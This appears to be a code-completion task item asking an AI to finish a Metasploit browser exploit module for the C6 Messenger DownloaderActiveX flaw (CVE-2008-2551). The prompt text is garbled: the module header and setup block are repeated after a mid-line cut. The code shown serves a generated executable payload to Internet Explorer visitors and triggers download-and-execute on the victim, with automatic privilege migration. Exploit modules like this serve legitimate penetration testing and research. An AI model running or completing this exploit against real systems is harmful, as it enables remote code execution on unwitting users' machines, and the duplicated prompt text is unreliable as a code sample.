You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: c6_messenger_downloaderactivex.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
        vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
        insecure control can be abused to download and execute arbitrary files in the context of
        the currently logged-on user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Nine:Situations:Group::SnoopyAssault, vulnerability discovery and exploit
          'juan vazquez' # metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2008-2551' ],
          [ 'OSVDB', '45960' ],
          [ 'BID', '29519' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'         => "none",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2008-06-03',
      'DefaultTarget'  => 0,
      'Privileged'     => false))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    # Only IEs are potential targets
    # "File Session" is used when the ActiveX tries to request the EXE
    agent = request
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
        vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
        insecure control can be abused to download and execute arbitrary files in the context of
        the currently logged-on user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Nine:Situations:Group::SnoopyAssault, vulnerability discovery and exploit
          'juan vazquez' # metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2008-2551' ],
          [ 'OSVDB', '45960' ],
          [ 'BID', '29519' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'         => "none",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2008-06-03',
      'DefaultTarget'  => 0,
      'Privileged'     => false))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    # Only IEs are potential targets
    # "File Session" is used when the ActiveX tries to request the EXE
    agent = request.headers['User-Agent']
    if agent !~ /MSIE \d\.\d|File Session/
      print_error("Target not supported: #{agent}")
      return
    end

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/#{@payload_rand}"

    if (request.uri.match(/#{@payload_rand}/))
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending EXE payload")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end